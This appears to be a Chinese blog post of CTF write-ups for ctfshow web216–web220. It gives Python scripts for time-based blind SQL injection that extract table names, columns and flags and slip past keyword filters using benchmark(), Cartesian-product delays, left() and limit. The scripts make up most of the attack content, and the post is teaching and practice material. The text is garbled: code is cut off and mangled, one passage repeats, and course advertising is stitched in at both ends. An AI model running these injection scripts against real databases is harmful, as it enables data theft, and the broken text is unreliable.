2024年ctfshow-web延时注入平替-web217~web220(1)，网络安全通用流行框架大全

本人从事网路安全工作12年，曾在2个大厂工作过，安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过，对这个行业了解比较全面。

最近遍览了各种网络安全类的文章，内容参差不齐，其中不伐有大佬倾力教学，也有各种不良机构浑水摸鱼，在收到几条私信，发现大家对一套完整的系统的网络安全从学习路线到学习资料，甚至是工具有着不小的需求。

最后，我将这部分内容融会贯通成了一套282G的网络安全资料包，所有类目条理清晰，知识点层层递进，需要的小伙伴可以点击下方小卡片领取哦！下面就开始进入正题，如何从一个萌新一步一步进入网络安全行业。

学习路线图

其中最为瞩目也是最为基础的就是网络安全学习路线图，这里我给大家分享一份打磨了3个月，已经更新到4.0版本的网络安全学习路线图。

相比起繁琐的文字，还是生动的视频教程更加适合零基础的同学们学习，这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。

网络安全工具箱

当然，当你入门之后，仅仅是视频教程已经不能满足你的需求了，你肯定需要学习各种工具的使用以及大量的实战项目，这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。

项目实战

最后就是项目实战，这里带来的是SRC资料&HW资料，毕竟实战是检验真理的唯一标准嘛~

面试题

归根结底，我们的最终目的都是为了就业，所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过！

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

    req = requests.post(url=url, headers=headers, data=data, timeout=timeout)
    time.sleep(0.3)
except Exception as e:
    return strs
return ""

def GetData3(url,payload,flagStrDict,flag=“”,timeout=3,start=1,end=50,threadNum=3):
urls = url + “api/”
headers = {
“Content-Type”: “application/x-www-form-urlencoded;charset=UTF-8”,
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0”,
“Accept”: “application/json, text/javascript, */*; q=0.01”,
“Accept-Language”: “zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2”,
“Accept-Encoding”: “gzip, deflate”,
“Connection”: “keep-alive”,
“X-Requested-With”: “XMLHttpRequest”,
“Origin”: url,
“Referer”: url,
“Cookie”: “PHPSESSID=jq29mbfflirbma38u1sr7u5i3f”,
}
allList = []
flagStr = ‘’
for index in range(start,end):
dataList = [[{‘ip’: payload.format(index, strsDict), ‘debug’: 1},f"{index}:{strsDict}"] for strsDict in flagStrDict]
with concurrent.futures.ThreadPoolExecutor(max_workers=threadNum) as executor:
tasks = []
for data in dataList:
task = executor.submit(send_request, urls,headers,data[0],timeout,data[1])
tasks.append(task)

        # 处理返回结果
        results = []

        for task in tasks:
            result = task.result()
            if result:
                flagStr += (result.split(':'))[1]
                results.append(result)
    if results:
        allList.append(results)
    else:
        break
    print(flagStr)
string = flag
for i in allList:
    if i!=[] or i!=[[]] or bool(i):
        string += (i[0].split(':'))[-1]
print('flag: ',string)

if name == “__main__”:
# find database/tables/columns
flagStrDict1 = “ctfshow,_0123456789abdegijklmnpqruvxyz”
# find flag
flagStrDict2 = “-0123456789abdectfshowgijklmnpqruvxyz}{,_”

def web216():
    url = "http://8c908286-df0a-42c6-8fe7-c94445d8f432.challenge.ctf.show/"
    payload1 = "select(group\_concat(table\_name))from(information\_schema.tables)where(table\_schema=database())"
    payload2 = "select(group\_concat(column\_name))from(information\_schema.columns)where(table\_name='ctfshow\_flagxcc')"
    payload3 = "select(group\_concat(flagaac))from(ctfshow\_flagxcc)"
    # ctfshow\_flagxcc,ctfshow\_info
    # GetData3(url,payload="to\_base64({})".format("if(mid(("+payload1+"),{},1)='{}',sleep(5),1)"),flagStrDict=flagStrDict1,timeout=5)
    # id,flagaac,info
    # GetData3(url,payload="to\_base64({})".format("if(mid(("+payload2+"),{},1)='{}',sleep(5),1)"),flagStrDict=flagStrDict1,timeout=5)
    GetData3(url, flag='ctfshow{', start=9, end=55,payload="to\_base64({})".format("if(mid(("+payload3+"),{},1)='{}',sleep(5),1)"), flagStrDict=flagStrDict2, timeout=5)

web216()

payload部分在于：

def web216():
url = “http://8c908286-df0a-42c6-8fe7-c94445d8f432.challenge.ctf.show/”
payload1 = “select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())”
payload2 = “select(group_concat(column_name))from(information_schema.columns)where(table_name=‘ctfshow_flagxcc’)”
payload3 = “select(group_concat(flagaac))from(ctfshow_flagxcc)”
# ctfshow_flagxcc,ctfshow_info
# GetData3(url,payload=“to_base64({})”.format(“if(mid((”+payload1+“),{},1)=‘{}’,sleep(5),1)”),flagStrDict=flagStrDict1,timeout=5)
# id,flagaac,info
# GetData3(url,payload=“to_base64({})”.format(“if(mid((”+payload2+“),{},1)=‘{}’,sleep(5),1)”),flagStrDict=flagStrDict1,timeout=5)
GetData3(url, flag=‘ctfshow{’, start=9, end=55,payload=“to_base64({})”.format(“if(mid((”+payload3+“),{},1)=‘{}’,sleep(5),1)”), flagStrDict=flagStrDict2, timeout=5)

其中，要注意点在于：网络不好就没必要跑脚本了，因为实在……太依赖网络状态了。。。


半夜开了5G测试，一直出错误。同一个payload放BP跑了不到五分钟就全出来了，我……


## web217


### 原始信息


查询语句

   where id = ($id);

返回逻辑

//屏蔽危险分子
function waf($str){
    return preg\_match('/sleep/i',$str);
} 

### 解题


这个题目过滤了 `sleep` ，导致常用延时注入函数被过滤。这里对 `sleep` 的平替方案为：

select sleep(3):

平替为：

select benchmark(3500000,md5(‘www’));

具体的平替时间是测试出来的，使用 `Burp` 抓包出来进行平替测试即可。


具体测试方案就是：设置 `3s` 延迟，让后放上这种句子进行测试：`ip=if(1,benchmark(3500000,md5('www')),1)&debug=1` .


![测试](https://img-blog.csdnimg.cn/direct/8858c7edd5f142fcb8483d1859d93335.jpeg#pic_center)


脚本如下，注意网络环境对延时注入的影响。

coding=utf-8

import requests,time,concurrent.futures
“”"
多线程爆破脚本
“”"

def send_request(url,headers,data,timeout,strs):
try:
req = requests.post(url=url, headers=headers, data=data, timeout=timeout)
time.sleep(0.3)
except Exception as e:
return strs
return “”

def GetData3(url,payload,flagStrDict,flag=“”,timeout=3,start=1,end=50,threadNum=5):
urls = url + “api/”
headers = {
“Content-Type”: “application/x-www-form-urlencoded;charset=UTF-8”,
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0”,
“Accept”: “application/json, text/javascript, */*; q=0.01”,
“Accept-Language”: “zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2”,
“Accept-Encoding”: “gzip, deflate”,
“Connection”: “keep-alive”,
“X-Requested-With”: “XMLHttpRequest”,
“Origin”: url,
“Referer”: url,
“Cookie”: “PHPSESSID=jq29mbfflirbma38u1sr7u5i3f”,
}
allList = []
flagStr = flag
for index in range(start,end):
dataList = [[{‘ip’: payload.format(index, strsDict), ‘debug’: 1},f"{index}:{strsDict}"] for strsDict in flagStrDict]
with concurrent.futures.ThreadPoolExecutor(max_workers=threadNum) as executor:
tasks = []
for data in dataList:
task = executor.submit(send_request, urls,headers,data[0],timeout,data[1])
tasks.append(task)

        # 处理返回结果
        results = []

        for task in tasks:
            result = task.result()
            if result:
                flagStr += (result.split(':'))[1]
                # print([result],type(result))
                results.append(result)
    if results:
        allList.append(results)
    else:
        print("No results {}".format(index))
        break
    print(flagStr)
string = flag
for i in allList:
    if i!=[] or i!=[[]] or bool(i):
        string += (i[0].split(':'))[-1]
print('flag: ',string)
    # t = threading.Thread(target=send\_request,args=(urls,headers,data,timeout,flag,mid,i,payload))

if name == “__main__”:
# find database/tables/columns
flagStrDict1 = “ctfshow,_0123456789abdegijklmnpqruvxyz”
# find flag
flagStrDict2 = “-0123456789abdectfshowgijklmnpqruvxyz}{,_”

def web217():
    url = "http://4afe2ce4-af43-46e5-a9c1-79b4b85cb45f.challenge.ctf.show/"
    payload1 = "select(group\_concat(table\_name))from(information\_schema.tables)where(table\_schema=database())"
    payload2 = "select(group\_concat(column\_name))from(information\_schema.columns)where(table\_name='ctfshow\_flagxccb')"
    payload3 = "select(group\_concat(flagaabc))from(ctfshow\_flagxccb)"
    # ctfshow\_flagxccb,ctfshow\_info
    # GetData3(url,payload="{}".format("if(mid(("+payload1+"),{},1)='{}',benchmark(3500000,md5('www')),1)"),flagStrDict=flagStrDict1,timeout=5)
    # id,flagaabc,info
    # GetData3(url,flag='id,flag',start=8,payload="{}".format("if(mid(("+payload2+"),{},1)='{}',benchmark(3500000,md5('www')),1)"),flagStrDict=flagStrDict1,timeout=5)
    GetData3(url, flag='ctfshow{', start=9, end=55,payload="{}".format("if(mid(("+payload3+"),{},1)='{}',benchmark(3500000,md5('www')),1)"), flagStrDict=flagStrDict2, timeout=5)

web217()

## web218


### 原始信息


查询语句

   where id = ($id);

返回逻辑

//屏蔽危险分子
function waf($str){
    return preg\_match('/sleep|benchmark/i',$str);
}   

### 解题


这过滤……又要寻找平替方案……


还有一个平替方案，利用大量的查询消耗时间：

if(mid(1,(SELECT COUNT(*) FROM information_schema.tables a, information_schema.tables b, information_schema.tables c,information_schema.tables d),1)

其中的 `SELECT COUNT(*) FROM information_schema.tables a, information_schema.tables b, information_schema.tables c,information_schema.tables d` 便是起到平替作用的sql查询语句。（笛卡尔积）


如果是使用延迟2s的话，特别考验爆破者的网络环境。特别是这种情况下特别容易出现flag错误的情况。



> 
> 注意：这里的爆破延迟是1.7s，测试的具体方式是从Burp看回显时间测试出来的。
> 
> 
> 使用要求：
> 
> 
> 1. 测试者正常回显（非测试笛卡尔积）的情况下延迟在0到1s之间。
> 2. 测试者测试笛卡尔积的时候延迟在1.7或者大于1.7的范围。
> 
> 
> 


下面是脚本：

coding=utf-8

import requests,time,concurrent.futures
from colorama import Fore, Back, Style, init
init()

“”"
单线程爆破
“”"

def GetData5(url,payload,flagStrDict,flag=“”,timeout=3.0,start=1,end=50,mode=1):
“”"
单线程爆破
:param url:目标url
:param payload:payload模板
:param flagStrDict:flag字典
:param flag:flag
:param timeout:超时时间
:param start:开始
:param end:结束
:param mode:模式
:return:
“”"
urls = url + “api/”
headers = {
“Content-Type”: “application/x-www-form-urlencoded;charset=UTF-8”,
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0”,
“Accept”: “application/json, text/javascript, */*; q=0.01”,
“Accept-Language”: “zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2”,
“Accept-Encoding”: “gzip, deflate”,
“Connection”: “keep-alive”,
“X-Requested-With”: “XMLHttpRequest”,
“Origin”: url,
“Referer”: url,
“Cookie”: “PHPSESSID=jq29mbfflirbma38u1sr7u5i3f”,
}

thresholdNumber = 2
for i in range(start,end):
    mf = 0
    for mid in flagStrDict:

        data = {
            "ip":payload.format(i,mid),
            "debug":1
        }
        t1 = time.time()
        thresholds = 0

        # 使用数据包阈值来过滤废包
        # 经过测试，当前网络环境当中延迟1.7是笛卡尔积的极限。具体测试方法是把数据包转发到BP当中，尝试使用笛卡尔积直接发数据测试极限时间

        try:
            t = time.time()
            req = requests.post(url=urls, headers=headers, data=data,timeout=timeout)
            endTime = time.time() - t
            time.sleep(0.3)

            print(Style.BRIGHT+'find time',
                  Style.RESET_ALL +f": {endTime:.3f} s \t ",
                  Style.BRIGHT+'and find payload',
                  Style.RESET_ALL +f": {payload.format(i,mid)}"
                  )
            # print(req.content)
        except Exception as e:
            for threshold in range(thresholdNumber):
                try:
                    t = time.time()
                    req = requests.post(url=urls, headers=headers, data=data, timeout=timeout)
                    endTime = time.time() - t
                    time.sleep(0.3)

                    print(Style.BRIGHT + 'find time',
                          Style.RESET_ALL + f": {endTime:.3f} s \t ",
                          Style.BRIGHT + 'and find payload',
                          Style.RESET_ALL + f": {payload.format(i, mid)}"
                          )
                except Exception as e:
                    thresholds += 1
                    print(Fore.RED+'the number',Style.BRIGHT+f": {thresholds} ",Style.RESET_ALL + "-")

        endTime = time.time() - t1
        if mode == 1 and thresholds == thresholdNumber:
            flag += mid
            # print(f"index: {i}\t all time:{endTime:.3f}\t flag:{flag}")
            print(f"{Back.GREEN+'index'}: {i}","\t",f"{Back.GREEN+'all time'}:",Style.BRIGHT+f"{endTime:.3f}","\t ",Back.GREEN+'flag',":",Style.BRIGHT+f'{flag}',Style.RESET_ALL + "-")
            break
        elif mode == 2 and thresholds == thresholdNumber:
            flag += chr(int(mid,16))
            # print(f"{Back.GREEN+'index'}: {i}\t {Back.GREEN+'all time'}:{endTime:.3f}\t {Back.GREEN+'flag'}:{Style.BRIGHT+'flag'}",end=' ')
            print(f"{Back.GREEN+'index'}: {i}","\t",f"{Back.GREEN+'all time'}:",Style.BRIGHT+f"{endTime:.3f}","\t ",Back.GREEN+'flag',":",Style.BRIGHT+f'{flag}',Style.RESET_ALL + "-")
            print(Style.RESET_ALL + "-")
            break
        else:
            mf += 1

            # print(payload.format(i,mid))
    if mf == len(flagStrDict):
        print("flag is :"+flag)
        break

if name == “__main__”:
# find database/tables/columns
flagStrDict1 = “ctfshow,_0123456789abdegijklmnpqruvxyz”
# find flag
flagStrDict2 = “-0123456789abdectfshowgijklmnpqruvxyz}{,_”
flagStrDict3 = “id,flagah,infoctfshow,_0123456789abdegijklmnpqruvxyz”
flagStrDict4 = “id,flagno_0123456789bcehjkmpqrstuvwxyz”

def web218():
    url = "http://736e0672-8f98-43d0-ae4d-3660b56cfda7.challenge.ctf.show/"
    payload1 = "select(group\_concat(table\_name))from(information\_schema.tables)where(table\_schema=database())"
    payload2 = "select(group\_concat(column\_name))from(information\_schema.columns)where(table\_name='ctfshow\_flagxc')"
    payload3 = "select(group\_concat(flagaac))from(ctfshow\_flagxc)"

    timeOutFunction = "(SELECT COUNT(\*) FROM information\_schema.tables a, information\_schema.tables b, information\_schema.tables c)"

    # ctfshow\_flagxc,ctfshow\_info
    # GetData5(url,flag='ctfshow\_',start=9,payload="if(mid((" + payload1 + "),{},1)='{}',"+timeOutFunction+",1)",flagStrDict=flagStrDict1,timeout=1.7)
    # id,flagaac,info
    # GetData5(url,payload="if(mid((" + payload2 + "),{},1)='{}',"+timeOutFunction+",1)",flagStrDict=flagStrDict4,timeout=1.7)
    """

ctfshow{3e19223f-d564-4aae-945e-55a2656f1c27}
ctfshow{3e192230-d564-4aae-945e-56a2656f1c27}
ctfshow{3e19223f-d564-4aae-945e-56a2656f1c27}
“”"
GetData5(url,flag=‘ctfshow{’, start=9, end=55,payload=“if(mid((” + payload3 + “),{},1)=‘{}’,”+timeOutFunction+“,1)”,flagStrDict=flagStrDict2,timeout=1.7)

web218()

多跑两次，flag有一定概率会出错，测试的时候多测试两次不会吃亏。如果能一次提交正确就没必要测了。


## web219


### 原始信息


查询语句

   where id = ($id);

返回逻辑

//屏蔽危险分子
function waf($str){
    return preg\_match('/sleep|benchmark|rlike/i',$str);
}   

### 解题


没有限制到笛卡尔积，沿用上面的脚本即可。


## web220


### 原始信息


查询语句

   where id = ($id);

返回逻辑

//屏蔽危险分子
function waf($str){
    return preg\_match('/sleep|benchmark|rlike|ascii|hex|concat\_ws|concat|mid|substr/i',$str);
}   

### 解题


首先考虑时间盲注，依然还是只能使用笛卡尔积。


其次考虑其它payload点位的限制。


上次的payload是带有`concat/mid` 两种的，而这两种恰巧对应组合和切割两种情况。


`concat` 对应限制 `group_concat` 列组合方法，用 `limit {} 1` 绕过。 `{}` 是爆破的第 `0` 行到第 `n` 行。


`mid` 采用 `left/right` 两种的其中一种进行绕过。这俩都是切割函数，但是没有 `mid` 的按位置切割，只能从头切割到末尾/从末尾切割到头。



> 
> 注意：这里还是得注意下网络的延迟问题。延迟测算好后再用payload。
> 
> 
> 


下面是脚本：

coding=utf-8

import requests,time,concurrent.futures
from colorama import Fore, Back, Style, init
init()

def GetData6(url,payload,flagStrDict,flag=“”,timeout=3.0,start=1,end=50,mode=1):
“”"
单线程爆破
:param url:目标url
:param payload:payload模板
:param flagStrDict:flag字典
:param flag:flag
:param timeout:超时时间
:param start:开始
:param end:结束
:param mode:模式
:return:
“”"
urls = url + “api/”
headers = {
“Content-Type”: “application/x-www-form-urlencoded;charset=UTF-8”,
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0”,
“Accept”: “application/json, text/javascript, */*; q=0.01”,
“Accept-Language”: “zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2”,
“Accept-Encoding”: “gzip, deflate”,
“Connection”: “keep-alive”,
“X-Requested-With”: “XMLHttpRequest”,
“Origin”: url,
“Referer”: url
}

# 容错数据包次数
thresholdNumber = 4

flagTest = ''


# 控制查表的爆破行
for rows in range(10):
    flagTemp = ''
    # flagEnd = flagTemp
    # 控制查表爆破行中的列数据
    for columns in range(start,end):
        mf = 0
        # 控制查表爆破列的数据匹配
        for strDict in flagStrDict:
            # 使用十六进制的形式避免出现非预期情况
            payloadEd = '0x'+''.join([(hex(ord(i))).replace('0x','') for i in flagTemp+strDict])
            data = {
                "ip":payload.format(rows,columns,payloadEd),
                "debug":1
            }
            # 容错变量
            thresholds = 0

            # 使用数据包阈值来过滤废包
            # 经过测试，当前网络环境当中延迟1.7是笛卡尔积的极限。具体测试方法是把数据包转发到BP当中，尝试使用笛卡尔积直接发数据测试极限时间

            t1 = time.time()

            def miniNumber():
                t = time.time()
                requests.post(url=urls, headers=headers, data=data, timeout=timeout)
                endTime = time.time() - t
                time.sleep(0.3)

                print(Style.BRIGHT + 'Find time', end=":")
                print(Style.RESET_ALL + f"{endTime:.3f} s \t ", end="")
                print(Style.BRIGHT + 'And find payload', end=':')
                print(Style.RESET_ALL + f"{payload.format(rows, columns, payloadEd)}")


            try:
                miniNumber()

            except Exception as e:
                # 经过第一层超时后进行容错处理
                for threshold in range(thresholdNumber):
                    try:
                        miniNumber()

                    except Exception as e:
                        thresholds += 1
                        print(Fore.RED + 'the number',end=" : ")
                        print(Style.BRIGHT + f"{thresholds} ",end="")
                        print(Style.RESET_ALL + "")

            endTime = time.time() - t1

            if thresholds == thresholdNumber:
                # 容错成功后组合flag字符串/关键字符串
                flagTemp += strDict
                print(f"{Back.GREEN + 'index'}: {rows} {columns}", end="\t")
                print(f"{Back.GREEN + 'all time'}",end=":")
                print(Style.BRIGHT + f"{endTime:.3f}",end="\t ")
                print(Back.GREEN + 'flag', end=":")
                print(Style.BRIGHT + f'{flagTemp}',end='')
                print(Style.RESET_ALL + "")
                break
            else:
                mf += 1

        if mf == len(flagStrDict):
            #列数据结束标志
            print("flag is :" + flagTemp)
            print('all :',flagTest)
            break

    if '' == flagTemp:
        #行数据结束标志
        print('flag is :' + flagTest)
        break
    else:
        flagTest += flagTemp if flagTest == '' else ','+flagTemp
        print(flagTest)

if name == “__main__”:
# 字符串字典
# find database/tables/columns
flagStrDict1 = “ctfshow,_0123456789abdegijklmnpqruvxyz”
# find flag
flagStrDict2 = “-0123456789abdectfshowgijklmnpqruvxyz}{,_”
flagStrDict4 = “id,flagno_0123456789bcehjkmpqrstuvwxyz”

def web220():
    url = "http://8f817a4c-a121-4798-8e3c-35669806ab66.challenge.ctf.show/"
    payload1 = "select(table\_name)from(information\_schema.tables)where(table\_schema=database()) limit {},1"
    payload2 = "select(column\_name)from(information\_schema.columns)where(table\_name='ctfshow\_flagxcac') limit {},1"
    payload3 = "select(flagaabcc)from(ctfshow\_flagxcac) limit {},1"
    print(url)
    """

payload
if(left((select(xxx)from(yyyy0)limit {3},1),{1})=‘{2}’,?,1)
切割的办法：
假设：a=ctfshow_flagxca
left(a,1) = c

先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7

深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年最新网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

需要这份系统化资料的朋友，可以点击这里获取

)from(yyyy0)limit {3},1),{1})=‘{2}’,?,1)
切割的办法：
假设：a=ctfshow_flagxca
left(a,1) = c

先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7

深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年最新网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
[外链图片转存中…(img-qwNxtpcq-1714853505094)]
[外链图片转存中…(img-tuJP6Q1D-1714853505095)]
[外链图片转存中…(img-brHw4Xjm-1714853505096)]
[外链图片转存中…(img-vxichsqD-1714853505096)]
[外链图片转存中…(img-qidlLbgD-1714853505097)]
[外链图片转存中…(img-yOFDhgpq-1714853505098)]

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

需要这份系统化资料的朋友，可以点击这里获取